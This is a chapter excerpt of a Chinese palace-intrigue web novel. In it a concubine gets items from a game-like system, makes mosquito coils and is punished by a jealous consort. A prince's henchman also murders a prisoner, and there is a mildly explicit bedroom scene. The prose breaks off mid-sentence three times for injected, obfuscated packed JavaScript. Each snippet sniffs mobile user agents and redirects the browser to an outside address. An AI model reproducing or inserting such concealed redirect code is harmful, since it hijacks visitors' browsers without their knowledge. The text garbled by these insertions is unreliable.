蓝色道具:安胎圣果:孕妇食用后,能显著增强腹中胎儿体质,无惧外界伤害3次; 蓝色道具:毒芹粉:使目标腹泻3日,无法侍寝,50%概率毁容; 绿色道具:兰花盆栽:香气宜人,可净化空气,使人心旷神怡。】 姜舒月知道绿色道具可能是没用的,但没想到这么没用。 【是否选择使用道具?】 她环顾了四周,指着一个空着的圆香几,【那个劳什子的兰花盆栽,就放这吧。】 只见空空如也的圆香几上,下一秒便出现了一盆兰花。 叶片修长,顶端的花药呈金黄色,姜舒月凑近一闻,阵阵若有若无的淡雅香气萦绕在四周。 行吧,好歹放着也能欣赏,总比来个什么乱七八糟的道具强。 * 张进宝前脚被抓起来,后脚这消息就叫皇宫里的暗桩想办法递了出去。 端王府内,气氛压抑得仿若是暴风雨来临前的宁静。 手里拿着刚刚收到的密报,端王颜色阴沉,不住地在屋里来回踱步。 “饭桶!一点事情都做不好!”他额头青筋抱暴起,回身猛地一拳砸在书桌上,桌上的茶盏被震得哐当作响,茶水四溅。 屋内还坐着一人,看到端王失态的模样,微微皱眉。 那人面白无须,脸庞瘦削,身型微佝,俨然是宫中太监模样,开口嗓音却低沉。 “王爷,此时动怒无济于事,当务之急是要想好接下来的应对之策。” 端王深吸一口气,努力平复心情,但气促的呼吸仍是暴露了他此刻的心情。 “如今张进宝被抓,尚且不说他手里拿着与本王的往来书信,若是他全盘托出……” 他猛然停下脚步,眼中惊疑不定,“你说贺云徽到底知不知道是我在背后主使?” 那人沉吟片刻之后,缓缓开口:“若是那位已然确定是您,那恐怕此刻的王府已被重兵包围了。但如今王府尚算安宁,想必那位还未拿到确切的证据。” 端王长舒一口气,眼中却仍又担忧之色,“话虽如此,但若他松口……” 太监抬起头,眼中闪过一丝狠戾,“为今之计,唯有将其灭口,方能绝了后患。只要他**,便死无对证,那位就算怀疑,也拿您没办法。” 他做了一个手势。 第50章 积分大户 “灭口?说得轻巧!天牢守卫森严,哪有那么容易得手?万一事情败露,岂不是不打自招!”端王眉头拧成一个‘川’字。 那太监此时又上前一步,“王爷,此事虽难,但并非毫无办法。咱们在宫中还有暗线,可让他们趁乱行事。王爷佯装对此事毫不知情,照常进宫问安,以表忠心,趁机试探一番。” 端王沉思片刻,缓缓开口,“好,就依你所言。你做事本王放心,一定要将此事处理妥当,切莫再出任何差错!” 他重新坐回椅子上,脸上的怒色也渐渐缓和了几分。 太监微微躬身回道:“王爷放心,属下定会全力以赴。” 夜幕如墨,一个身形佝偻的人缓缓靠近天牢。 “什么人?!”天牢把守的侍卫抽出刀,怒喝,“天牢重地,闲杂人特速速离开!” 那人并不说话,只掏出一个令牌。 侍卫看到令牌,立刻收起手里的刀,让出了身后的天牢入口。 踏入天牢,一股腐臭与潮湿的气息扑面而来。 这里关押着的,都是一些官员要犯。 这些人看到有人进来,都漠然地看着。 反正也不是来救他们的,何必关心。 沿着窄的通道前行,脚步声在寂静的环境中格外突兀。 “张公公。” 张进宝关在这里已经一整天了,每一分每一秒,都在提心吊胆。 听到熟悉的声音,他猛地睁开眼睛,扑到门边。 “周公公!”他努力伸出手去够来人,“是王爷让您来救我吗?” 那人微微一笑,“公公莫慌,王爷托我给您带句话。” 张进宝现在就如同溺水的人,想要抓住眼前唯一的救命稻草。 刚要凑近,那人从袖口抽出藏着的**,闪电般刺进张进宝的咽喉。 张进宝瞪大双眼,双手徒劳地抓着牢门,喉咙里发出“咯咯”的声音,身体慢慢软倒。 “王爷说,秘密随你一起入土吧。” 张进宝天牢遇袭身亡,消息只一刻钟内就传到了贺云徽耳朵里。 “呵……看来朕这皇弟,真是迫不及待啊。” 他扔下奏折,“继续盯着,有任何消息即可来报。” 暗处传来声音:“是。” * 日落西斜,疏散的阳光从窗棂透下,室内一片寂静,略带着夏日的沉闷。 静玉端着花生酪进入内室,“娘娘,已经冰镇过的花生酪。” 视线扫过圆香几,眼神里闪过一丝疑惑。 咦?这里之前放过兰花吗? 实在想不起来,静玉只好耸耸肩之后放下花生酪。 “放那吧,”姜舒月手里拿着毛笔,趴在桌子上写写画画。 也不知是不是古代的生活太过于无趣,反倒叫姜舒月找到了些毛笔字的乐趣。 贺云徽进来的时候,看到的就是姜舒月手里握着笔,在宣纸上认真地写着什么。 她身穿着一件碧色的广袖襦裙,长发松松垮垮的挽了一个髻,只插了一只碧色的玉簪。 眼神像是在看深爱的人,专注而温柔。 他放轻了呼吸,迈着沉稳的步伐走进来。 听到动静,微微抬头,露出那张清丽绝伦的脸。 臻首娥眉,目若秋水。 “陛下!”她放下手中的笔,飞奔过来扑向贺云徽。 稳稳地抱住了姜舒月,贺云徽走到书桌旁边,看向桌子上那些宣纸。 低低地开口,“看来爱妃这两天进步不小。” 姜舒月听了扬了扬下巴,“妾身可没忘了,陛下曾说过要来考校的。” 然而,贺云徽却低头意味深长地看了她一眼。 眼中翻滚着晦暗不明的情绪。 “携手揽腕入罗帐,含羞带笑把灯吹?”他的声音又低又缓,带着些许喑哑。 姜舒月一听,脸色瞬间涨得通红,如同熟透的水蜜桃,鲜嫩多汁。 “陛、陛下……”她将头偏向一边,本来是环抱住贺云徽的手,也在后面绞动起来。 贺云徽从来没有遇到过一个女子像她这般,时而灵动狡黠,时而大胆奔放,让他忍不住想要深入探究。 他伸出手,捏住姜舒月的下巴,将人转过来面对自己,目光逐渐灼热。 “写信给朕的时候,怎么不见你害羞,”贺云徽轻笑着,手指滑过姜舒月的后腰,引来她一阵战栗。 随后他弯腰在姜舒月耳边低语,唇有意无意的触碰到她的耳朵。 姜舒月眼**颤抖得厉害,主动攀上他的肩上,红唇青涩的在贺云徽的颈间游走。 贺云徽突然身体一紧,下一秒,将她横抱起来走进内室。 床幔上的流苏不住地摇晃,晃得姜舒月眼花。 贺云徽的手扣在姜舒月的脑后,迫使她只能看着自己,逼着她将最后两句诗念出来。 “乖,”低语和喘息声交织,“告诉我,最后两句诗是什么。” 姜舒月紧紧抓着贺云徽的肩膀,紧咬着下唇嘤咛着,“陛下……呜……” 好不容易断断续续地说完了后面两句诗,贺云徽呼吸一窒,以近乎霸道的姿态,猛然吻上了姜舒月。 纱帐微垂,影影绰绰间,只见两道紧紧纠缠的人影。 榻上锦被凌乱,薄衾半掩着两人的身体。 贺云徽侧身而卧,一手支着头,目光柔和地凝视着身旁沉睡的女子。 青丝如瀑散落在枕畔,几缕碎发贴在绯红的脸颊上,长长的睫毛微微颤动。 “陛下,”福安轻声在寝殿外说话,“已经酉时了,该传膳了。” 床上女子皱了皱眉,似有要醒的迹象。 “去吧。” 刻意压低地声音带着餍足。 殿外隐隐传来宫人们轻声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15440158|167766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走动的声音,不一会儿,摆满美食的桌案被小心翼翼地抬进殿内。 香气轻轻钻进了内室,绕过纱帐,钻入了姜舒月鼻子里。 她转身咕哝了句什么,缓缓睁开双眸,迷离的视线逐渐聚焦。 “醒了?”贺云徽早已收拾妥当,坐在书桌前翻看着姜舒月写的字。 听到床上传来声响,便知道姜舒月醒了。 “陛下……”她的声音还带着刚睡醒的软糯与惺忪。 听得他心软软的。 牵过她的手,再次幻想起,如果二人有了孩子,会不会也像姜舒月那样。 娇娇软软的,还爱撒娇。 “先吃点东西,”他动筷,却先给姜舒月夹了一筷子的菜,“今夜朕就不留宿了,南巡在即,需要政务需要处理。” 今天下午也是寻了时间过来看她。 最近她这里太多人盯着了,对她不好。 姜舒月点点头,张嘴嗷呜吃掉了贺云徽筷子上的菜,“妾身知道了,陛下总是很忙的。” 看她毫不在意的模样,贺云徽也不知道自己心里会什么会有一种别扭的感觉。 既期待她开口留自己,又希望她做个乖巧懂事的女人。 摇摇头,抛开脑子里乱七八糟的想法,也跟着吃了起来。 送走了贺云徽后,姜舒月伸了一个懒腰。 【叮——恭喜宿主完成侍寝任务,奖励200积分,道具:黄粱一梦香,点燃后使吸入者陷入“美梦”,自愿说出一个秘密。剩余积分:665。】 黄粱一梦香?这倒是个好东西。 她现在也是个积分大户了啊。 姜舒月露出一个满意的微笑,不枉费她兢兢业业做任务。 刚刚睡了一觉,姜舒月现在无比的清醒,正百无聊赖的瘫坐在椅子上。 看着明夏拿着熏香在殿内驱除蚊虫,脑子里闪过一个想法。 “明夏。”她对着明夏招招手。 明夏怕烟熏到姜舒月,便给熏香放在了殿外。 “娘娘想吃什么?”她以为姜舒月又嘴馋了。 “……” 【哈哈哈哈!】123无情地嘲笑着。 “你家娘娘我就不能有别的事情找你?”姜舒月佯装生气,脸鼓起来。 “好娘娘,是奴婢错了,”明夏看着她气鼓鼓的模样,笑着哄道,“娘娘有什么吩咐?” 姜舒月哼了声,“夏日里蚊虫多,总这么熏着味道太大了。明日你找些晒干的艾草、木炭粉、雄黄、藿香、薄荷出来,哦,还有榆木皮。” 明夏听着,这些都是驱虫的东西,“娘娘想要做什么,吩咐奴婢们来就行,您身娇体贵的……” 她摆摆手,“你不懂,这得自己来做才行。” 大概是她在现代没事就想自己捣鼓点什么的手瘾又犯了。 不上手做点什么,这手啊,它不得劲。 第51章 抄不完的经书熬不尽的夜 明夏不懂,但明夏还是应了下来,“是。” 因为心里装了事情,平常都要快辰时才醒的姜舒月,卯时就起来了。 “娘娘,天色还早,再睡会吧?”扶风知道姜舒月很喜欢睡觉。 尤其是不用请安这段时间,几乎日日都要睡到辰时才起。 今日却卯时起来了,都怕她没休息好。 “无事,早起的虫儿有鸟吃。”她捂着嘴巴打哈欠。 “是……嗯?”这话是这么说的吗? 算了,娘娘说什么都是对的。 扶风自我PUA后,替姜舒月换上了舒适的常服。 明夏掀了帘子进来,“娘娘,东西都准备好了。” 她点点头,刷过牙之后就出了内室。 现代蚊香是1880年被小日子发明出来,华国到了20世纪初才引入改良,并逐渐普及的。 古代虽然也有类似的驱蚊材料,但多都是直接燃烧植物,或者把这些植物磨成粉末燃烧。 但是这样的方式烟量大且持续时间短。 每次弦月宫一开始熏虫子的时候,都特别呛人。 想到自己之前曾经做过手工的蚊香,就想着自己做点古法蚊香,改善一下着烟熏火燎的情况。 一应的药草都被整齐的摆放在殿中的空地上。 明夏心细,甚至给姜舒月准备了石臼。 “娘娘要这些东西做什么?”扶风一脑门的问号。 她挽起袖子,拿着艾草就丢入石臼。 “做蚊香。” 蚊香? 在场的人都是第一次听到这个词,都很陌生。 “嗯,明夏每日拿着艾草点燃了烟熏,麻烦不说,还呛人。”姜舒月手持杵棒,一下又一下地碾磨。 “之前在一本杂书上看到过一种方法,想要试一下。” 成功了就不用再忍受这种烟了,失败了……那就是多试几次,总会成功的。 来了皇宫之后,姜舒月就吃好睡好的。 一双手也是养得白嫩细腻。 只碾了几下,手掌就磨的发红。 几个宫女心疼得不得了,明夏更是直接拿过杵棒。 “奴婢来吧,娘娘。”她让小路子把姜舒月经常躺的躺椅放在阴凉处,让扶风和静玉把姜舒月扶过去休息。 看着磨得通红的手掌心,姜舒月也没坚持,在两个丫鬟的伺候下,躺在了椅子上。 “要怎么做娘娘?”明夏也没做过这个所谓的蚊香,一时间无从下手。 姜舒月呷了一口花茶,舒适地眯了眯眼,“慢慢碾,碾成艾绒就可以。” 明夏点点头,她干活利索,一会就碾成了松软的艾绒。 她拿过来给姜舒月看,“娘娘,这样可以吗?” 姜舒月看了一眼,竖了个大拇指,“不错!就是这样。” 小路子小方子都围在一旁,好奇地看着,眼里都是跃跃欲试。 扶风看出他们的想法,笑了笑,“旁边还有几个石臼,要不拿出来,我们也试一下吧?” 于是弦月宫里的太监宫女,手里都拿个石臼,不停地捣鼓着。 怕姜舒月身边没有人伺候,静玉就没有上手。 日头渐高了,几个人都热出了汗,姜舒月回头跟静玉吩咐了一下,“去尚膳居要几碗冰酥酪来。” 静玉福身退了下去,姜舒月又说道:“日头毒,避着点,别中了暑气。” 人多力量大,只一个时辰的时间,艾草都已经变成艾绒了。 几个人捧着冰酥酪,一边喝一边叽叽喳喳地讨论。 “娘娘接下去做什么。”都在等着她的下一步指示。 姜舒月起身看了眼榆木皮。 已经很干燥了,不需要再次晾晒。 “这个要磨成粉才行。” 明夏看了看榆木皮,又看了看那个小石臼,明夏脸上有些为难。 “娘娘,这石臼怕是无法将榆木皮磨成粉。” 榆木皮难以处理,现代倒是可以直接买磨好的粉。 姜舒月也犯起难来,眼光扫过一脸深思的明夏,“榆木粉最主要的作用就是做粘合剂,嗯……就是用来粘合这些粉的,要是有其他的材料不用这么麻烦,也能有粘性的,可以不用榆木皮。” 明夏眼睛一亮,“有的娘娘!可以用桃胶,之前奴婢在太医院炮制药丸的时候,也常用桃胶。” 她怎么没想到呢,“那就换成桃胶。” 将榆木皮收拾起来之后,明夏又去太医院顺了一些桃胶,正要离开**太医抓了个正着。 胡太医一看明夏怀里,鼓鼓囊囊的包了一大包东西,就知道她又来顺东西了。 气得他大骂明夏,一回来就往外顺东西。 明夏也不生气,笑嘻嘻地说了句:“我家娘娘要的。” 胡太医下一句话哽在喉咙里,不上不下的,最后恼羞成怒将人赶出太医院。 艾绒也有了,粘合剂也有了,接下来就是混合了。 按照姜舒月说的配笔,几人慢慢地往艾绒中加入木炭粉、雄黄、藿香和薄荷。 桃胶遇水膨胀后黏性强,明夏将其溶水调配成胶液,也倒了进去。 这种搅拌的脏活被小方子和小路子揽了过去。 没一会就混合均匀了。 “不错不错,”姜舒月摸着下巴,点头,“趁着这个没完全凝固之前,搓成长条之后晾干,就可以了。” 这事并没有什么见不得人的,在制作的时候,弦月宫的宫门也是敞开着的。 有路过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448150|167766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的宫女太监都看到了,里面的人不停地在忙活着些什么。 但毕竟里面住着正五品的贵人娘娘,怕冲撞了贵人,都不敢多停留,只瞄了一眼就离开了。 很快这件事情就传遍了皇宫。 琼华宫 “本宫正愁没有机会收拾她,她倒好,给了本宫一个绝佳的机会。” 白露自从上次被训斥之后,很是安静了一段时间。 闻言也不过是停顿了一下,就继续做事。 小满手中不停,轻柔地给淑妃揉捏着肩膀,“娘娘,您说这姜贵人,这又是在做什么呢?” 原本后宫妃子少,几个高位的妃子每个人平均下来一个月也能见到贺云徽两回。 自打新人入了宫,满打满算三个月,贺云徽竟是一次也没朝琼华宫来。 宋滢也就算了,她原本就受宠,家世也好,贺云徽多去她那无可厚非。 可姜舒月凭什么?! 自从宋滢被禁足之后,陛下连着去她那多少次了? 她只有一个公主,陛下不来,她怎么能再次怀上孩子呢? 尤其是上次宫宴之后,她可以明显的感觉到,贺云徽对姜舒月的上心程度,已经不是最开始她设想的那番: 只是为了给婉妃体面。 淑妃看着铜镜里的自己,也不过是双十年华,容颜也还是如刚进宫般温婉秀丽。 可为什么陛下不来? “做什么?呵,一个庶出的**,能做什么好东西?”淑妃眼里不屑。 之前已经得到消息,贺云徽今日去了兰昭容宫里,淑妃得意得笑笑,“给本宫更衣,本宫倒要去看看,这**又在做什么。” 小满应是,连忙给淑妃换了一身华贵的衣裳,带着一众太监宫女,袅袅婷婷地来到弦月宫。 “淑妃娘娘到~” 小路子几人都在里面手搓蚊香,突然听闻外面在唱淑妃到了。 【叮——触发随机任务:抄不完的经书熬不尽的夜;本次任务无法使用道具,请宿主随机应变。】 这任务来的太突然,姜舒月心里一凛,领着众人赶忙行礼,“参见淑妃娘娘,娘娘万安。” 淑妃并没有马上叫起,而是略过了姜舒月,径直走进了弦月宫。 踱步至晾晒蚊香之处,嫌弃地用手帕捏住一根,仔细瞧了瞧,便又扔回了竹编中。 过了一会,才貌似想起来姜舒月还跪着,“瞧瞧,瞧瞧,本宫记性也是越发的不好了,快起来吧。” 笑语晏晏地,去虚扶了一把姜舒月。 “谢娘娘。”起身后,姜舒月并没有给淑妃说明竹编里是什么东西。 左右她都是来找茬的,根本也不是真的在意这东西。 所有人都秉着呼吸,严阵以待。 第52章 抄不完,不许睡觉 看到淑妃进入了内殿,静玉拿了之前贺云徽赏赐下来的茶来招待。 “娘娘请用。” 淑妃对静玉这种小角色并不放在眼里,鼻子里发出一声冷哼之后,看向了姜舒月。 “妹妹也坐下来吧,”她轻摇着手中的团扇,故作娇俏掩嘴轻笑,“万一再站出点问题来,可别说本宫欺负你了。” 说罢眼神从姜舒月身上一扫而过,带着几分审视与轻蔑。 姜舒月面上不动声色,莲步轻移,顺势缓缓坐下露出一个完美的假笑,声音宛如**出谷般轻柔。 “娘娘说笑了,谁不知淑妃娘娘最是和善不过了。” “姜妹妹真会说话。”淑妃眼里闪过一丝嫉恨,转瞬即逝,却还是被姜舒月捕捉到了。 “难怪陛下最近总来弦月宫了,妹妹这张小嘴,怕是哄得陛下流连忘返了。” 她将手中的团扇一收,目光如刀般射向姜舒月,仿佛要在她身上看出什么破绽来。 姜舒月心里吐槽着淑妃,装都不装一下,就着急要给自己定罪了。 面上还是维持着得体的笑容,“陛下心怀天下,英明神武,不过是瞧着妾身这儿清净,能稍作休憩罢了。 哪比得上娘娘在陛下心中的地位,尊贵尊崇,无人能及。” 淑妃难能听不出姜舒月话里话外的意思,冷哼一声。 “你倒是会往自己脸上贴金。本宫可听说了,这弦月宫整日里神神秘秘的,捣鼓些不明不白的东西,也不知道是否是耍了什么狐媚手段,竟把陛得晕头转向。” 这句话太严重了,姜舒月自然不可能就这样受着。 她起身跪了下去,深色坦然,“娘娘这话是从何说起,妾身自问进宫以来一向恪守本分,从未逾矩。 若真有什么见不得人的手段,妾身又怎敢在这后宫之中,在娘娘的眼皮子底下行事?” 说着,眼眶微微泛红,一副楚楚可怜的模样,让人看了心生怜惜。 “求淑妃娘娘明鉴。”几个宫女太监也都跪了一地。 淑妃见姜舒月一副断定自己不能拿她怎么样的模样,心中更加恼怒。 手掌拍上茶桌,厉声道:“哼,还敢狡辩!那你说说,你今日做这玩意是有何用途?” 原来是看自己在做蚊香,就急着过来找茬了。 姜舒月眼眶里蓄满了泪水,哽咽着说道:“娘娘明鉴,弦月宫偏僻,草木竹林又多。 夏日里蚊虫比一般的宫殿都要多,妾身被叮咬得厉害,才想要做些驱虫的熏香。” 淑妃看着那竹编里黑漆漆的一片,不屑地说:“就凭这些东西,能驱蚊? 本宫看你是妄图用这些伎俩吸引皇上注意。这后宫之中,轮得到你这般卖弄?” 姜舒月朕恨不得打开淑妃的脑子,看看里面是不是真的空无一物。 “娘娘误会了,这些药材在太医院也是常用的药材,若您不信,大可请太医院的太医来查验一番。” 她的眼泪像掉了线的珍珠落下。 小满见状,连忙扯了扯淑妃的衣袖,在她耳边轻声说道:“娘娘稍安勿躁,这姜贵人既然敢去太医院,就说明此物无害。 若大张旗鼓去太医院请人来问,万一这东西确实只是寻常驱虫之物,咱们岂不是落了个无端刁难的名声。” 淑妃心中虽有不甘,但是小满的话确实给她提了个醒,“差点着了你的道,说什么宫殿偏僻蚊虫多,本宫看你分明是心浮气躁。 既然你这么闲,本宫就罚你那就去抄写《心经》百遍,好好静静心。” 她算是知道,这任务的名字为什么叫:抄不完的经书熬不尽的夜了。 “是,娘娘教训得是,妾身甘愿受罚。” 看她如此顺从,淑妃心中又不痛快起来,于是又吩咐道:“白露,你留下盯着她,抄不完,不许她睡觉。” 白露赶忙应道:“是,娘娘放心。” 淑妃又狠狠瞪了姜舒月一眼,这才转身离开。 扶风几人敢怒不敢言,“恭送娘娘~” “姜娘娘,请吧~”白露弯腰做了一个请的姿势。 “你!”扶风刚想要发作,被姜舒月拦了下来。 “去吧,把外面的东西收拾好,”她轻声说着,“收拾好了之后,今晚守夜的人留下,其他的人去休息吧。” 主子被罚抄经书,底下的人怎么敢自己休息。 但也不能就这样在主子面前,看着她受罚,只好自己找些事情来做。 姜舒月自己则坐在了书桌之前,铺开纸张,研磨开始抄写。 好在姜舒月之前跟贺云徽学了一些写字的手法,虽然写的字不太好看,但也足以应对。 白露坐在一旁,百无聊赖地发呆。 时不时抬头看一样姜舒月,嘴里不知道在嘟囔些什么。 姜舒月也不搭理她,只是专注地抄写着。 时间一点点过去,整个弦月宫里一片寂静。 白露已经困得不行,头一点一点的,姜舒月都怕她一头栽倒在地上。 “把这道菜撤下去吧,陛下不喜芜菁之味。”兰昭容穿着杏子红绉纱裙,正对着一桌的菜看着。 “是。” “母妃!”宁华公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15451854|167766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主身着一袭鹅黄色的小裙,扎着两个俏皮的发髻,两只小脚倒腾着往兰昭容跑来。 兰昭容半蹲下来,宁华公主就冲到了她怀里,“慢点跑。” 说着拿出手帕来给宁华擦了擦额头的汗。 “父皇什么时候来,宁华好久都没看到父皇了。” 兰昭容捏了捏女儿的脸,“你父皇说啦,今日就来看你。” 宁华公主眼睛一亮,“太好啦!母妃快好好准备一下,不然父皇来了,咱们没东西给父皇可就遭啦。” 别看她只有四岁,说起话来人小鬼大的。 逗得在场的人乐得不行。 “什么就要遭了?”贺云徽甫一进殿门,就听到女儿软软糯糯的声音在说着什么。 “父皇!”宁华公主反应快,瞧见贺云徽,就像只小兔子般飞奔过来,一下子抱住了他的腿。 贺云徽弯腰将宁华公主抱在怀里,笑着刮了刮她的鼻子,“朕的宁华想父皇了吗?” 宁华公主搂着朕的脖子,用力地点点头,奶声奶气地说:“宁华可想父皇啦,天天都盼着父皇能来看宁华呢。” “臣妾参见陛下。” 兰昭容性格温婉,也不知怎的,生出来的孩子性格活泼的不行。 “起吧。”说着,便抱着宁华公主走到榻前坐下。 刚坐下,宁华公主就扭了扭身子,“父皇快放宁华下来。” 贺云徽无奈,又将人放在了地上。 只见宁华公主又风风火火地跑进内室,奶娘都差点没跟上她的脚步,只能在后面追着。 “公主您慢点。” 过了一会,她手里拿着一张纸,献宝似的递给贺云徽。 “父皇,您看,这是宁华画的。画的是父皇、母妃还有宁华,我们一家三口在一起。” 贺云徽很给面子的拿过来,细细地端详着,上面画着两大一小三个人,旁边还用别的颜色画了各种各样的花。 兰昭容捂嘴笑着,“宁华从几天前就开始在画了,臣妾想着帮她一起画,她不肯,非说什么要自己画完给您个惊喜。” “宁华有心了,父皇很喜欢。” 宁华笑的眼睛眯成一条缝,再次爬上贺云徽的身上,小手在空中比量着。 讲着最近几日的趣事,大到自己因为什么哭了小到自己今天早上吃了什么。 兰昭容在一旁静静看着,眼神里满是温柔。 “咕咕——”正说着,宁华公主的肚子响了起来。 “母妃,宁华的肚子响了。”她拍了拍自己的肚子,“宁华还要跟父皇说话,你不要响啦!”